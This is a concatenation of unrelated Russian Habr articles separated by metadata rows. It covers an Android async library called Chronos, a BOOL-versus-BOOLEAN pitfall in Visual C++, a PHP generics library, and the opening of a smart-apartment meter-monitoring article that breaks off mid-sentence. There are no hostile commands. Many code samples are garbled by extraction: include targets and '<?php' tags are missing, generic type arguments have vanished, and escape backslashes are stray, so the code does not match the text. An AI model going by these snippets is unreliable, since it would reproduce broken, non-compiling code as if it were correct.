**Чем решали проблему – краткая история**Давайте взглянем на имеющийся инструментарий в контексте задачи “отработать клик по кнопке “авторизация” ”. Собственно, чем мы располагаем?
**1. Стандартные потоки**
```
Button signInButton = (Button) findViewById(R.id.button_auth);
signInButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(final View v) {
final Activity activity = AuthActivity.this;
showProgress();
new Thread(new Runnable() {
@Override
public void run() {
APIFactory.getApi().signIn();
activity.runOnUiThread(new Runnable() {
@Override
public void run() {
goToMainContent();
}
});
}
}).start();
}
});
```
В этом коде плохо буквально все. Он сложночитаемый, в нем протекает память, его нельзя отменить, в нем не обрабатывается поворот экрана, как и любые ошибки вызова API (а если их обрабатывать, то выглядеть все станет совсем уж неудобоваримо).
**2. AsynkTask**
```
Button signInButton = (Button) findViewById(R.id.button_auth);
signInButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(final View v) {
new AuthTask().execute();
}
});
private class AuthTask extends AsyncTask{
@Override
protected void onPreExecute() {
showProgress();
}
@Override
protected Boolean doInBackground(final Void... params) {
try {
APIFactory.getApi().signIn();
}catch (Exception e){
return false;
}
return true;
}
@Override
protected void onPostExecute(final Boolean result) {
if(!isCancelled() && result) {
goToMainContent();
}
}
}
```
Уже чуть лучше, но все еще недостаточно. Появилась читаемая обработка ошибок, возможность отмены. Однако до сих пор этот код не способен правильно отработать при повороте экрана в момент выполнения запроса к API – утекает ссылка на Activity, в которой определен класс.
**3. Loader**
Когда Google представил Loader’ы, то казалось, что они станут Silver bullet для асинхронных запросов, сместив классические на тот момент AsyncTask’и. К сожалению, чуда не произошло. На данный момент Loader’ы – редкий гость в коммерческий проектах, поскольку очень уж они оказались неудобны в использовании. В этом разделе я не буду приводить код по аналогии с предыдущими двумя. Вместо этого рекомендую любопытному читателю ознакомиться с официальным гайдом по этой технологии, чтобы оценить объем кода, требующегося Loader’ам: [developer.android.com/reference/android/content/AsyncTaskLoader.html](http://developer.android.com/reference/android/content/AsyncTaskLoader.html)
**4. Service**
Сервисы хороши для выполнения долгих задач, которые «висят» в фоне на протяжении использования приложения. Однако для запуска операций, результат которых нужен здесь и сейчас, структура сервисов не идеальна. Главным образом, ограничение накладывает методика передачи данных через Intent, который, во-первых, вмещает только ограниченное количество данных, а во-вторых, требует чтобы передаваемые данные были тем или иным способом сериализуемы. На этой технологии работает популярная библиотека [Robospice](https://github.com/stephanenicolas/robospice).
**Что предлагает Chronos?**
![](https://habrastorage.org/r/w1560/files/fbc/ec8/440/fbcec8440f0642a5bca8f61c6dc38fec.png)
Chronos делает за вас всю работу по выполнению задачи в параллельном потоке и доставке результата или ошибки выполнения в основной поток. Грубо говоря, эта библиотека предоставляет контейнер для любого рода долгих операций.
В проекте есть полноценная wiki, часть кода оттуда будет использоваться в статье, однако для более полного руководства обращайтесь на [github.com/RedMadRobot/Chronos/wiki](https://github.com/RedMadRobot/Chronos/wiki).
**Пример**
Давайте решим типовую задачу, используя Chronos: в Activity нужно запросить какой-то объект у некоего хранилища, доступ к которому достаточно долго, чтобы не делать запрос в UI потоке. Сначала напишем код, а потом разберем, что у нас получилось.
**1.** Первым делом нужно подключить Chronos к проекту. Для этого достаточно прописать зависимость в gradle:
```
compile 'com.redmadrobot:chronos:1.0.5'
```
**2.** Теперь опишем Activity. Базовый класс *ChronosActivity*– это одна из компонент библиотеки, однако вы легко можете написать его аналог, примеры этого есть в документации. Так же Chronos можно использовать во фрагментах, код не будет отличаться.
```
class MyActivity extends ChronosActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Button startButton = (Button) findViewById(R.id.button_start);
startButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(final View v) {
runOperation(new MyOperation());
}
});
}
public void onOperationFinished(final MyOperation.Result result) {
if (result.isSuccessful()) {
showData(result.getOutput());
} else {
showDataLoadError(result.getError());
}
}
private void showData(BusinessObject data){
//...
}
private void showDataLoadError(Exception exception){
//...
}
}
```
**3.** И, наконец, опишем бизнес-логику получения данных в классе *MyOperation*:
```
class MyOperation extends ChronosOperation {
@Nullable
@Override
public BusinessObject run() {
final BusinessObject result ;
// here you should write what you do to get the BusinessObject
return result;
}
@NonNull
@Override
public Class extends ChronosOperationResult<BusinessObject> getResultClass(){
return Result.class;
}
public final static class Result extends ChronosOperationResult {
}
}
```
Вот, собственно, и все. Давайте разберемся подробно, что же происходит в этом коде. Начнем с начала.
*Настройка класса UI*
```
class MyActivity extends ChronosActivity {
```
Чтобы работать с Chronos, базовый класс Acvitity или фрагмента должен либо наследоваться от предложенных в библиотеке, либо содержать определенный код в методах жизненного цикла, примеры можно увидеть в [документации](https://github.com/RedMadRobot/Chronos/wiki/How-to-use-Chronos#step-one--setting-up-gui).
*Запуск операции*
```
runOperation(new MyOperation());
```
Здесь вызывается базовый метод класса ChronosActivity, в который передается только что созданная операция. Сразу после вызова этого метода Chronos заберет операцию в очередь и начнет ее выполнение в параллельном потоке.
*Обработка результата операции*
```
public void onOperationFinished(final MyOperation.Result result) {
if (result.isSuccessful()) {
showData(result.getOutput());
} else {
showDataLoadError(result.getError());
}
}
```
Этот метод будет вызван после того, как операция будет выполнена, либо в ходе выполнения выбросится исключение. Такие методы-обработчики обязательно должны иметь сигнатуру *public void onOperationFinished(ResultType)*. Важный момент: метод вызовется только между вызовами onResume() и onPause(), то есть в нем вы спокойно можете изменять UI, не боясь, что он к тому моменту уже стал невалидным. Более того, если Activity была пересоздана из-за поворота, ухода в бэкграунд, или других причин – Chronos вернет результат в любом случае (единственное исключение – в системе закончилась память, в этом случае для предотвращения OutOfMemory Chronos может стереть старые данные результатов).
**“откуда идет вызов?”**Внимательный читатель заметит, что Activity не реализует никаких специфических интерфейсов, так откуда же вызовется именно этот метод? Ответ – из кода, содержащего рефлексию. Решение делать рефлексию вместо интерфейса было принято из-за TypeErasure в Java, который делает невозможным одновременную реализацию одного и того же шаблонного интерфейса с разными параметрами. То есть это сделано, чтобы в одной Activity можно было обработать результат скольких угодно типов операций.
*Настройка класса операции*
```
class MyOperation extends ChronosOperation {
```
Класс *ChronosOperation* инкапсулирует в себе бизнес-логику получения объекта определенного типа, в данном случае – *BusinessObject*. Все пользовательские операции должны наследоваться от *ChronosOperation*.
*Бизнес-логика*
```
@Nullable
@Override
public BusinessObject run() {
final BusinessObject result ;
// here you should write what you do to get the BusinessObject
return result;
}
```
Этот абстрактный метод класса *ChronosOperation* отвечает, собственно, за бизнес-логику получения объекта. Он выполняется в параллельном потоке, поэтому в нем можно делать сколь угодно долгие действия, это не вызовет лагов в интерфейсе приложения. Также любые исключения, выброшенные в нем, будут заботливо переданы в вызывающий объект, не приводя к крашу приложения.
*Именование результата*
```
@NonNull
@Override
public Class extends ChronosOperationResult<BusinessObject> getResultClass(){
return Result.class;
}
public final static class Result extends ChronosOperationResult {
}
```
Следующие метод и класс призваны дать возможность в коде Activity прописать обработчик результатов для каждой конкретной операции, указывая класс в качестве типа параметра метода *onOperationFinished*. Допускается использование одного класса результата для разных операций, если вы хотите, чтобы их результат обрабатывался одинаково.
**Резюмирую: соберем минимальный набор кодовых участков, нужных для работы с Chronos.**
* Класс операции
* Код вызова операции в UI объекте
* Код обработки результата в UI объекте
**Что здесь есть еще?**
* Чтобы не потерять уже запущенный запрос при повороте экрана, Chronos [предоставляет возможность “именовать” запуски операций](https://github.com/RedMadRobot/Chronos/wiki/Single-launch-mode).
* Есть [возможность отмены операций](https://github.com/RedMadRobot/Chronos/wiki/Canceling-operations).
* Если нужно, чтобы результат операции получил не только тот объект, что ее вызвал, но и все, подписанные на него, [можно делать Broadcast запуски](https://github.com/RedMadRobot/Chronos/wiki/Broadcasting-results).
* Кроме этого, при желании операции можно выполнять синхронно, используя класс Chronos.
**Итак, почему и зачем можно использовать Chronos?**
* Chronos берет на себя передачу данных между потоками, оставляя вам заботы только о бизнес-логике.
* Chronos учитывает все нюансы жизненного цикла Activity и фрагментов, доставляя результат только тогда, когда они готовы его обработать, сохраняя данные до тех пор.
* В Chronos не течет память. Вы больше не рискуете поймать краш, потому что утекло слишком много объектов Activity.
* Chronos покрыт unit-тестами.
* И наконец, Chronos – open-source проект. Вы всегда можете взять код и переписать его под свои нужды. Благодаря тестам, вам будет легко валидировать изменения кода.
[Ссылка на проект в GitHub](https://github.com/RedMadRobot/Chronos). Там вы найдете полное руководство по библиотеке, примеры использования и, конечно, исходный код.
Читайте также:
[Сажаем контроллеры на диету: Android](http://habrahabr.ru/company/redmadrobot/blog/257861/)
[Архитектурный дизайн мобильных приложений: часть 1](http://habrahabr.ru/company/redmadrobot/blog/246551/)
[Архитектурный дизайн мобильных приложений: часть 2](http://habrahabr.ru/company/redmadrobot/blog/251337/) | https://habr.com/ru/post/263111/ | null | ru | null |
# BOOL или BOOLEAN — вот в чем вопрос?
Я как-то никогда не задумывался над тем, что лучше использовать BOOL или BOOLEAN? Конечно же, BOOL — это и короче и во всех учебниках по Windows встречается именно BOOL. Как бы не так! Буквально вчера я битый час занимался поиском ошибки там, где ее не должно было быть.
Оказалось, что единственно истинный тип, впрямую связанный с типом bool, который определен стандартами языка С++, это именно BOOLEAN. А BOOL это не что иное, как «typedef int BOOL;» и находится в windows.h (точнее в WinDef.h, но это неважно)
Рассмотрим подробнее исходный код функции, сравнивающий два числа:
```
#include
#include
bool CompareInt(int i1, int i2)
{
if (i1==i2)
return true; //UPD1: было TRUE
else
return false; //UPD1: было FALSE
}
typedef BOOL (\*CallBack)(int, int);
void main(void)
{
CallBack IsEqual = (CallBack)CompareInt;
if ( !IsEqual(0x1234, 0x5678) )
printf("Not equals");
else
printf("Equals");
}
```
После компилирования Visual Studio и запуска, имеем: Equals
Тогда поменяем BOOL на BOOLEAN:
```
typedef BOOLEAN (*CallBack)(int, int);
```
Компилируем, запускаем, получаем: Not equals (что и должно было получиться с самого начала)
Вывод: никогда не пользуйтесь BOOL, только BOOLEAN.
**UPD1:** Поправил в возврате функции, было TRUE/FALSE стало true/false для чистоты эксперимента.
**UPD2:** Раскрываю «черную магию». Возврат bool идет в типе char (регистр CPU al), так как bool в Visual Studio приравнен к char (и BOOLEAN там тоже приравнен к char поэтому замена BOOL на BOOLEAN убирает ошибку).
А вот тип BOOL приравнен к int (регистр eax), поэтому, когда функция возвращает false (он же FALSE), то при этом в нуль устанавливается только младший байт al, а старшие байты (ah и прочий eax) — там будет ненулевой мусор, на который BOOL, вобравший в себя результат bool, среагирует как на eax!=0 и возникнет ошибка.
Мы должны были бы внутри последнего if перейти на ветку с eax==0 (Not equals), а перешли на ветку с eax!=0 (Equals), потому что функция CompareInt вернула нам только al равным 0, а старшие (мусорные) байты в eax внутри функции CompareInt при этом (ошибочно?) не были установлены в 0.
**UPD3:** Кстати, скомпилировал этот код древним (2006 г.) Borland Builder C++, все биты eax при возврате false внутри функции CompareInt явно устанавливаются в 0 путем xor eax,eax — поэтому ошибки нет. | https://habr.com/ru/post/135490/ | null | ru | null |
# PHP Generics. Right here. Right now
![](https://habrastorage.org/r/w1560/webt/_x/ey/w6/_xeyw6-xutglqjdkkumytrmgcl4.png)
Многие PHP разработчики хотели бы видеть в PHP поддержку [дженериков](https://en.wikipedia.org/wiki/Generic_programming), и я в том числе. [RFC](https://github.com/PHPGenerics/php-generics-rfc) по их добавлению был создан ещё в 2016 году, но до сих пор не принял окончательный вид. Я рассмотрел несколько вариантов решений поддержки дженериков в синтаксисе PHP, но не нашёл рабочей версии, которой мог бы воспользоваться обычный разработчик.
В итоге я решил, что могу сам попробовать реализовать такое решение на PHP. Скриншот выше — реальный пример того, что у меня получилось.
Если хочется сразу попробовать, то вот библиотека [mrsuh/php-generics](https://github.com/mrsuh/php-generics) и [репо](https://github.com/mrsuh/php-generics-example), в котором можно поиграться.
В качестве способа реализации дженериков я выбрал мономорфизацию.
Цитата [отсюда](https://habr.com/ru/company/skyeng/blog/543794). Оригинал [тут](https://www.reddit.com/r/PHP/comments/j65968/ama_with_the_phpstorm_team_from_jetbrains_on/g83skiz/?context=3).
```
Для тех, кто не слишком знаком, есть три основных способа реализации дженериков:
+ Type-erasure (стираемые): Дженерики просто удаляются и Foo становится Foo. Во время выполнения дженерики ни на что не влияют, и предполагается, что проверки типов осуществляются на каком-то предварительном этапе компиляции/анализа (прим. Python, TypeScript).
+ Reification (реификация): Дженерики остаются в рантайме и могут быть на этом этапе использованы (и в случае PHP, могут быть проверены в рантайме).
+ Monomorphization (мономорфизация): С точки зрения пользователя, это очень похоже на реификацию, но подразумевает, что для каждой комбинации аргументов дженериков генерируется новый класс. То есть, Foo не будет хранить информацию что, класс Foo инстанциирован с параметром T, а вместо этого будут созданы классы Foo\_T1, Foo\_T2, …, Foo\_Tn специализированный для данного типа параметра.
```
Как работает?
-------------
Кратко:
* парсим классы дженериков;
* генерируем на их основе конкретные классы;
* указываем для composer autoload, что в первую очередь нужно загружать файлы из директории со сгенерированными классами, а уже потом — из основной.
Подробный алгоритм.
Нужно подключить библиотеку как зависимость composer (минимальная версия PHP 7.4).
```
composer require mrsuh/php-generics
```
Добавить ещё одну директорию ("cache/") в composer autoload PSR-4 для сгенерированных классов.
Она обязательно должна идти перед основной директорией.
composer.json
```
{
"autoload": {
"psr-4": {
"App\\": ["cache/","src/"]
}
}
}
```
Для примера нужно добавить несколько PHP файлов:
* класс дженерик `Box`;
* класс `Usage`, который его использует;
* скрипт, который подключает composer `autoload` и использует класс `Usage`.
src/Box.php
```
php
namespace App;
class Box<T {
private ?T $data = null;
public function set(T $data): void {
$this->data = $data;
}
public function get(): ?T {
return $this->data;
}
}
```
src/Usage.php
```
php
namespace App;
class Usage {
public function run(): void
{
$stringBox = new Box<string();
$stringBox->set('cat');
var_dump($stringBox->get()); // string "cat"
$intBox = new Box();
$intBox->set(1);
var\_dump($intBox->get()); // integer 1
}
}
```
bin/test.php
```
php
require_once __DIR__ . '/../vendor/autoload.php';
use App\Usage;
$usage = new Usage();
$usage-run();
```
Сгенерировать конкретные классы из классов дженериков командой `composer dump-generics`.
```
composer dump-generics -v
Generating concrete classes
- App\BoxForString
- App\BoxForInt
- App\Usage
Generated 3 concrete classes in 0.062 seconds, 16.000 MB memory used
```
Что делает скрипт `composer dump-generics`:
* находит все использования дженериков (как в случае с файлом `src/Usage.php`);
* генерирует для них уникальные (на основе имени класса и аргументов) конкретные классы из классов дженериков;
* заменяет в местах использования дженерики на конкретные имена классов.
В данном случае должны быть сгенерированы:
* 2 конкретных класса дженериков `BoxForInt` и `BoxForString`;
* 1 конкретный класс `Usage`, в котором все классы дженериков заменены на конкретные.
cache/BoxForInt.php
```
php
namespace App;
class BoxForInt
{
private ?int $data = null;
public function set(int $data) : void
{
$this-data = $data;
}
public function get() : ?int
{
return $this->data;
}
}
```
cache/BoxForString.php
```
php
namespace App;
class BoxForString
{
private ?string $data = null;
public function set(string $data) : void
{
$this-data = $data;
}
public function get() : ?string
{
return $this->data;
}
}
```
cache/Usage.php
```
php
namespace App;
class Usage
{
public function run() : void
{
$stringBox = new \App\BoxForString();
$stringBox-set('cat');
var_dump($stringBox->get());// string "cat"
$intBox = new \App\BoxForInt();
$intBox->set(1);
var_dump($intBox->get());// integer 1
}
}
```
Сгенерировать актуальный vendor/autoload.php файл командой `composer dump-autoload`.
```
composer dump-autoload
Generating autoload files
Generated autoload files
```
Запустить скрипт.
```
php bin/test.php
```
Composer autoload сначала будет проверять, есть ли класс в директории "cache", а уже потом в директории "src".
Пример с кодом выше можно посмотреть [тут](https://github.com/mrsuh/php-generics-example).
Больше примеров можно посмотреть [тут](https://github.com/mrsuh/php-generics/tests).
Особенности реализации
----------------------
#### Какой синтаксис используется?
В [RFC](https://github.com/PHPGenerics/php-generics-rfc) не определён конкретный синтаксис, поэтому я взял [тот](https://github.com/PHPGenerics/php-generics-rfc/issues/45), который реализовывал Никита Попов.
Пример синтаксиса:
```
php
namespace App;
class Generic<in T: Iface = int, out V: Iface = string {
public function test(T $var): V {
}
}
```
#### Проблемы с синтаксисом
Для парсинга кода пришлось допилить [nikic/php-parser](https://github.com/nikic/PHP-Parser). Вот [тут](https://github.com/mrsuh/PHP-Parser/pull/1/files#diff-14ec37995c001c0c9808ab73668d64db5d1acc1ab0f60a360dcb9c611ecd57ea) можно посмотреть изменения грамматики, которые пришлось внести для поддержки дженериков. Внутри парсера используется [PHP реализация](https://github.com/ircmaxell/PHP-Yacc) [YACC](https://ru.wikipedia.org/wiki/Yacc). Реализация алгоритма YACC (LALR) и существующий синтаксис PHP не дают возможности использовать некоторые вещи, потому что они могут вызывать коллизии при генерации синтаксического анализатора.
Пример коллизии:
```
php
const FOO = 'FOO';
const BAR = 'BAR';
var_dump(new \DateTime<FOO, BAR('now')); // кажется, что здесь есть дженерик
var_dump( (new \DateTime < FOO) , ( BAR > 'now') ); // на самом деле нет
```
Варианты решения можно почитать [тут](https://github.com/PHPGenerics/php-generics-rfc/issues/35#issuecomment-571546650).
Поэтому на данный момент вложенные дженерики не поддерживаются.
```
php
namespace App;
class Usage {
public function run() {
$map = new Map<Key<int, Value>();//не поддерживается
}
}
```
#### Имена параметров не имеют каких-то специальных ограничений
```
php
namespace App;
class GenericClass<T, varType, myCoolLongParaterName {
private T $var1;
private varType $var2;
private myCoolLongParaterName $var3;
}
```
#### Можно использовать несколько параметров в дженериках
```
php
namespace App;
class Map<keyType, valueType {
private array $map;
public function set(keyType $key, valueType $value): void {
$this->map[$key] = $value;
}
public function get(keyType $key): ?valueType {
return $this->map[$key] ?? null;
}
}
```
#### Можно использовать значения по умолчанию
```
php
namespace App;
class Map<keyType = string, valueType = int {
private array $map = [];
public function set(keyType $key, valueType $value): void {
$this->map[$key] = $value;
}
public function get(keyType $key): ?valueType {
return $this->map[$key] ?? null;
}
}
```
```
php
namespace App;
class Usage {
public function run() {
$map = new Map<();//обязательно нужно добавить знаки "<>"
$map->set('key', 1);
var_dump($map->get('key'));
}
}
```
#### В каком месте класса можно использовать дженерики?
* extends
* implements
* trait use
* property type
* method argument type
* method return type
* instanceof
* new
* class constants
Пример класса, который использует дженерики:
```
php
namespace App;
use App\Entity\Cat;
use App\Entity\Bird;
use App\Entity\Dog;
class Test extends GenericClass<Cat implements GenericInterface {
use GenericTrait;
private GenericClass|GenericClass $var;
public function test(GenericInterface|GenericInterface $var): GenericClass|GenericClass {
var\_dump($var instanceof GenericInterface);
var\_dump(GenericClass::class);
var\_dump(GenericClass::CONSTANT);
return new GenericClass();
}
}
```
#### В каком месте класса дженерика можно использовать параметры дженериков?
* extends
* implements
* trait use
* property type
* method argument type
* method return type
* instanceof
* new
* class constants
Пример класса дженерика:
```
php
namespace App;
class Test<T,V extends GenericClass implements GenericInterface {
use GenericTrait;
use T;
private T|GenericClass $var;
public function test(T|GenericInterface $var): T|GenericClass {
var\_dump($var instanceof GenericInterface);
var\_dump($var instanceof T);
var\_dump(GenericClass::class);
var\_dump(T::class);
var\_dump(GenericClass::CONSTANT);
var\_dump(T::CONSTANT);
$obj1 = new T();
$obj2 = new GenericClass();
return $obj2;
}
}
```
#### Насколько быстро работает?
Все конкретные классы генерируются заранее, и их можно кешировать (не должно влиять на производительность).
Генерация множества конкретных классов должна негативно сказываться на производительности при:
* резолве конкретных классов;
* хранении конкретных классов в памяти;
* проверки типов для каждого конкретного класса.
Думаю, всё индивидуально, и нужно проверять на конкретном проекте.
#### Нельзя использовать без composer autoload
Магия с автозагрузкой сгенерированных конкретных классов будет работать только с composer autoload.
Если вы напрямую подключите класс с дженериком через require, то у вас ничего не будет работать из-за ошибки синтаксиса.
PhpUnit по [своим соображениям](https://github.com/sebastianbergmann/phpunit/issues/4039) подключает файлы тестов только через require.
Поэтому использовать классы дженериков внутри тестов PhpUnit не получится.
#### IDE
* PhpStorm
Не поддерживает синтаксис дженериков, потому что даже [RFC](https://github.com/PHPGenerics/php-generics-rfc) ещё не до конца сформирован.
Также PhpStorm не имеет работающего [плагина](https://plugins.jetbrains.com/plugin/10209-lsp-support) для подключения [LSP](https://en.wikipedia.org/wiki/Language_Server_Protocol), чтобы иметь возможность поддерживаеть синтаксисы сторонних языков.
От поддержки [Hack](https://hacklang.org) (который уже поддерживает дженерики) [отказались](https://blog.jetbrains.com/phpstorm/2015/06/hack-language-support-in-phpstorm-postponed/).
* VSCode
Поддерживает синтаксис дженериков после установки [плагина для Hack](https://marketplace.visualstudio.com/items?itemName=pranayagarwal.vscode-hack).
Нет автодополнения.
#### Reflection
PHP выполняет проверки типов в [runtime](https://github.com/PHPGenerics/php-generics-rfc/issues/43). Значит, все аргументы дженериков [должны быть доступны](https://github.com/PHPGenerics/php-generics-rfc/blob/cc7219792a5b35226129d09536789afe20eac029/generics.txt#L426-L430) через reflection в runtime. А этого не может быть, потому что информация о аргументах дженериков после генерации конкретных классов стирается.
Что не реализовано по RFC
-------------------------
#### Дженерики функций, анонимных функций и методов
```
php
namespace App;
function foo<T,V(T $arg): V {
}
```
#### Проверка типов параметров дженериков
T должен быть подклассом или имплементировать интерфейс TInterface.
```
php
namespace App;
class Generic<T: TInterface {
}
```
#### Вариантность параметров
```
php
namespace App;
class Generic<in T, out V {
}
```
Существующие решения на PHP
---------------------------
#### [Psalm Template Annotations](https://psalm.dev/docs/annotating_code/templated_annotations/)
Особенности:
* не меняет синтаксис языка;
* дженерики/шаблоны пишутся через аннотации;
* проверки типов проиcходят при статическом анализе [Psalm](https://psalm.dev) или IDE.
**Пример**
```
php
/**
* @template T
*/
class MyContainer {
/** @var T */
private $value;
/** @param T $value */
public function __construct($value) {
$this-value = $value;
}
/** @return T */
public function getValue() {
return $this->value;
}
}
```
#### [spatie/typed](https://github.com/spatie/typed)
Особенности:
* не меняет синтаксис языка;
* можно создать список со определённым типом, но его нельзя указать в качестве типа параметра функции или возвращаемого типа функции;
* проверки типов происходят во время runtime.
**Пример**
```
php
$list = new Collection(T::bool());
$list[] = new Post(); // TypeError</code
```
```
php
$point = new Tuple(T::float(), T::float());
$point[0] = 1.5;
$point[1] = 3;
$point[0] = 'a'; // TypeError
$point['a'] = 1; // TypeError
$point[10] = 1; // TypeError</code
```
#### [TimeToogo/PHP-Generics](https://github.com/TimeToogo/PHP-Generics)
Особенности:
* не меняет синтаксис языка;
* все вхождения **TYPE** заменяются на реальные типы, и на основе этого генерируются конкретные классы и сохраняются в ФС;
* подмена классов происходит во время autoload и для этого нужно использовать встроенный autoloader;
* проверки типов происходят во время runtime.
**Пример**
```
php
class Maybe {
private $MaybeValue;
public function __construct(__TYPE__ $Value = null) {
$this-MaybeValue = $Value;
}
public function HasValue() {
return $this->MaybeValue !== null;
}
public function GetValue() {
return $this->MaybeValue;
}
public function SetValue(__TYPE__ $Value = null) {
$this->MaybeValue = $Value;
}
}
```
```
php
$Maybe = new Maybe\stdClass();
$Maybe-HasValue(); //false
$Maybe->SetValue(new stdClass());
$Maybe->HasValue(); //true
$Maybe->SetValue(new DateTime()); //ERROR
```
```
php
$Configuration = new \Generics\Configuration();
$Configuration-SetIsDevelopmentMode(true);
$Configuration->SetRootPath(__DIR__);
$Configuration->SetCachePath(__DIR__ . '/Cache');
//Register the generic auto loader
\Generics\Loader::Register($Configuration);
```
#### [ircmaxell/PhpGenerics](https://github.com/ircmaxell/PhpGenerics)
Особенности:
* добавлен новый синтаксис;
* все вхождения T заменяются на реальные типы, и на основе этого генерируются конкретные классы и выполняется их загрузка через eval();
* подмена классов происходит во время autoload, и для этого нужно использовать встроенный autoloader;
* проверки типов происходят во время runtime.
**Пример**
Test/Item.php
```
php
namespace test;
class Item<T {
protected $item;
public function __construct(T $item = null)
{
$this->item = $item;
}
public function getItem()
{
return $item;
}
public function setItem(T $item)
{
$this->item = $item;
}
}
```
Test/Test.php
```
php
namespace Test;
class Test {
public function runTest()
{
$item = new Item<StdClass;
var_dump($item instanceof Item); // true
$item->setItem(new StdClass); // works fine
// $item->setItem([]); // E_RECOVERABLE_ERROR
}
}
```
test.php
```
php
require "vendor/autoload.php";
$test = new Test\Test;
$test-runTest();
```
Отличие от [mrsuh/php-generics](https://github.com/mrsuh/php-generics):
* конкретные классы генерируются во время autoload;
* конкретные классы подгружаются через eval();
* подменяется стандартный composer autoload;
* код написан давно, поэтому нет поддержки последних версий PHP.
Заключение
----------
Думаю, у меня получилось то, чего я хотел: библиотека легко устанавливается и может использоваться на реальных проектах. Расстраивает то, что по понятным причинам популярные IDE не поддерживают в полной мере новый синтаксис дженериков, поэтому сейчас пользоваться им сложно.
Если у вас будут предложения или вопросы, можете оставлять их [тут](https://github.com/mrsuh/php-generics/issues) или в комментариях. | https://habr.com/ru/post/577750/ | null | ru | null |
# Умная хрущёвка на максималках
Моя статья [про проводной умный дом](https://habr.com/ru/post/489610/) была популярной на Хабре (159 тысяч просмотров) — в ней я описал положительный опыт от идеи до реализации умного дома в новостройке.
Вместе с тем, у меня есть опыт интеграции и со старыми домами — квартира в типовом советском пятиэтажном кирпичном доме семидесятых годов постройки уже 5 лет автоматизирована. Она имеет единую панель управления для разных подсистем и не зависит от облачных сервисов. В отличии от новостройки, эта квартира в пятиэтажке была автоматизирована не сразу, а поэтапно за несколько лет, по мере возникновения интереса к разным элементам управления и контроля, таким как:
1. мониторинг приборов учета;
2. датчики контроля: домофона, температуры, шума, открытия дверей, ...;
3. единая панель управления умным домом;
4. подъездное видеонаблюдение;
5. настенный дисплей для текущего времени и температуры за окном;
6. освещение в квартире, включая кнопку «выключить всё»;
7. удаленное обесточивание квартиры;
8. удаленное перекрытие воды.
![](https://habrastorage.org/getpro/habr/post_images/119/076/4ec/1190764ec677be37929f3a263b1fbc55.gif)
*3D модель этой двухкомнатной квартиры 47 кв.м, которая была автоматизирована, нарисованная в Sweet Home 3D*
Мониторинг счётчиков воды и электричества
=========================================
Начну рассказ с самого начала — в 2016 году мне потребовался удаленный сбор показаний квартирных счетчиков.
Для этого, чтобы не устанавливать «считывающие накладки», в любом случае, была необходима замена обычных счётчиков воды и электроэнергии на счетчики с соответствующим интерфейсом. И вариантов этого интерфейса было доступно всего два:
1. Цифровой RS485.
2. Импульсным выход.
Если говорить о счётчиках на воду, то разница в цене по этим двум вариантам составляла примерно 10 раз. Обычный счетчик на воду с импульсным выходом стоил рублей на 200 больше обычного, то есть где-то 400...600 рублей, а счетчик воды с RS485 стоил порядка 3...5 тысяч рублей.
Из-за большой ценовой разницы я выбрал модель с импульсным выходом [Valtec VLF-R-IL](https://valtec.ru/catalog/pribory_ucheta/schetchiki_dlya_vody/vodoschetchik_universalnyj_s_impulsnym_vyhodom_bez_sgonov.html) (сейчас эта модель уже не производится).
Была еще одна особенность, из-за того что я живу в Перми — возникла проблема просто найти и купить эти счётчики с импульсным выходом — их не было в наличии и фактически я потратил целый месяц на ожидание доставки по России — ведь нельзя просто купить в Китае счётчик и установить — это оборудование, которое должно «поверяться» и обладать соответствующим сертификатом, иначе на учёт его не поставить. В Москве, насколько я знаю, подобных проблем нет и наоборот управляющие компании заставляют устанавливать счётчики на воду с импульсным выходом.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/004/54f/f5e/00454ff5e9afdf7f4bc4612783c97dae.jpg)
*Счётчики на воду с импульсным выходом сразу после установки и опломбирования*
Следующим моим шагом стал выбор счетчика электрической энергии — и здесь тоже надо иметь ввиду, что он тоже должен обладать всеми необходимыми бумагами и сертификатами для постановки на учёт — ведь я слышал, что иногда ставят даже два счётчика:
1. Первый — «отчётный» — для учёта, перед поставщиком электроэнергии.
2. Второй — без российских документов с популярного китайского сайта, который устанавливают сразу после первого для использования в целях домашней автоматизации — чтобы можно было удаленно считывать показания. Обычно через цифровой интерфейс RS485.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c24/511/2be/c245112be9bfe55a225b1818473e70ce.jpg)
*Однофазный однотарифный счетчик Меркурий 201.5 сразу после установки и опечатывания*
В 2016 году я выбрал однотарифный счётчик с импульсным выходом, потому что я не понимал, как можно из командной строки сервера считывать показания счетчика электроэнергии по RS485 и пушить их в единую панель управления умным домом, которую я собирался собрать.
Как оказалось позже — однофазные электросчетчики Меркурий достаточно популярны для домашней автоматизации и при цене счетчика, сопоставимой с аналогичными счетчиками других производителей можно получить устройство, которое полностью совместимо с современными системами домашней автоматизации. Для этого надо лишь иметь [адаптер USB -> RS485](https://aliexpress.ru/wholesale?trafficChannel=main&d=y&CatId=0&SearchText=rs485+usb<ype=wholesale&SortType=total_tranpro_desc&groupsort=1&page=1), стоимость которого составляет менее 100 рублей (в Китае). Этот адаптер может работать с любым микрокомпьютером у которого есть USB-порт, например, из линейки Raspberry Pi, которые часто используются в качестве сервера для домашней автоматизации, для запуска Home Assistant [или любого другого](https://www.mysensors.org/controller) программного хаба.
Сам скрипт опроса электросчетчика Меркурий написан энтузиастами и выполняется из командной строки, а также может быть интегрирован в любую систему домашней автоматизации. Мой конкретный пример интеграции для RS485 в другой квартире, где установлен Меркурий 200, который я сделал уже позже, можно посмотреть, например, [на форуме](http://www.ab-log.ru/forum/viewtopic.php?f=1&t=1180&start=60#p35862) или просто поискать варианты [в поиске](https://yandex.ru/search/?text=%D0%BC%D0%B5%D1%80%D0%BA%D1%83%D1%80%D0%B8%D0%B9%20230%20linux&lr=50).
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/f94/c64/9d1/f94c649d19899438a58644fa4927ef5f.png)
*Элемент скрипта для получения данных с электросчетчика Меркурий 200*
Однако в 2016 году после установки счетчиков без цифрового RS485 мне понадобилось устройство считывания этих импульсов.
Выбор учетного и управляющего контроллера
=========================================
Поскольку я выбрал и установил три счетчика с импульсными выходами, мне надо было иметь какое-то устройство, которое было бы всегда на связи с ними и круглосуточно считывало бы эти импульсы, конвертируя их в «человеческий формат». Я стал искать подобный контроллер и нашёл несколько вариантов:
